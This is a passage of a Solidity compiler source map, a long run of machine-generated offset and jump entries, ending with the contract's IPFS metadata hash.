;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:118::-;2593:5;2586:13;2579:21;2572:5;2569:32;2559:60;;2615:1;2612;2605:12;2630:382;2695:6;2703;2756:2;2744:9;2735:7;2731:23;2727:32;2724:52;;;2772:1;2769;2762:12;2724:52;2811:9;2798:23;2830:31;2855:5;2830:31;:::i;:::-;2880:5;-1:-1:-1;2937:2:1;2922:18;;2909:32;2950:30;2909:32;2950:30;:::i;:::-;2999:7;2989:17;;;2630:382;;;;;:::o;3017:388::-;3085:6;3093;3146:2;3134:9;3125:7;3121:23;3117:32;3114:52;;;3162:1;3159;3152:12;3114:52;3201:9;3188:23;3220:31;3245:5;3220:31;:::i;:::-;3270:5;-1:-1:-1;3327:2:1;3312:18;;3299:32;3340:33;3299:32;3340:33;:::i;3410:329::-;3612:2;3594:21;;;3651:1;3631:18;;;3624:29;-1:-1:-1;;;3684:2:1;3669:18;;3662:36;3730:2;3715:18;;3410:329::o;3744:184::-;3814:6;3867:2;3855:9;3846:7;3842:23;3838:32;3835:52;;;3883:1;3880;3873:12;3835:52;-1:-1:-1;3906:16:1;;3744:184;-1:-1:-1;3744:184:1:o;4212:245::-;4279:6;4332:2;4320:9;4311:7;4307:23;4303:32;4300:52;;;4348:1;4345;4338:12;4300:52;4380:9;4374:16;4399:28;4421:5;4399:28;:::i;5270:127::-;5331:10;5326:3;5322:20;5319:1;5312:31;5362:4;5359:1;5352:15;5386:4;5383:1;5376:15;5402:128;5469:9;;;5490:11;;;5487:37;;;5504:18;;:::i;7811:125::-;7876:9;;;7897:10;;;7894:36;;;7910:18;;:::i;7941:168::-;8014:9;;;8045;;8062:15;;;8056:22;;8042:37;8032:71;;8083:18;;:::i;8114:217::-;8154:1;8180;8170:132;;8224:10;8219:3;8215:20;8212:1;8205:31;8259:4;8256:1;8249:15;8287:4;8284:1;8277:15;8170:132;-1:-1:-1;8316:9:1;;8114:217::o;8468:127::-;8529:10;8524:3;8520:20;8517:1;8510:31;8560:4;8557:1;8550:15;8584:4;8581:1;8574:15;8600:251;8670:6;8723:2;8711:9;8702:7;8698:23;8694:32;8691:52;;;8739:1;8736;8729:12;8691:52;8771:9;8765:16;8790:31;8815:5;8790:31;:::i;8856:980::-;9118:4;9166:3;9155:9;9151:19;9197:6;9186:9;9179:25;9223:2;9261:6;9256:2;9245:9;9241:18;9234:34;9304:3;9299:2;9288:9;9284:18;9277:31;9328:6;9363;9357:13;9394:6;9386;9379:22;9432:3;9421:9;9417:19;9410:26;;9471:2;9463:6;9459:15;9445:29;;9492:1;9502:195;9516:6;9513:1;9510:13;9502:195;;;9581:13;;-1:-1:-1;;;;;9577:39:1;9565:52;;9672:15;;;;9637:12;;;;9613:1;9531:9;9502:195;;;-1:-1:-1;;;;;;;9753:32:1;;;;9748:2;9733:18;;9726:60;-1:-1:-1;;;9817:3:1;9802:19;9795:35;9714:3;8856:980;-1:-1:-1;;;8856:980:1:o;10453:306::-;10541:6;10549;10557;10610:2;10598:9;10589:7;10585:23;10581:32;10578:52;;;10626:1;10623;10616:12;10578:52;10655:9;10649:16;10639:26;;10705:2;10694:9;10690:18;10684:25;10674:35;;10749:2;10738:9;10734:18;10728:25;10718:35;;10453:306;;;;;:::o

ipfs://d0a73b865d41787ec2bd01c0f5bd36f86290d2377e2395cc7f9d273c2a21844b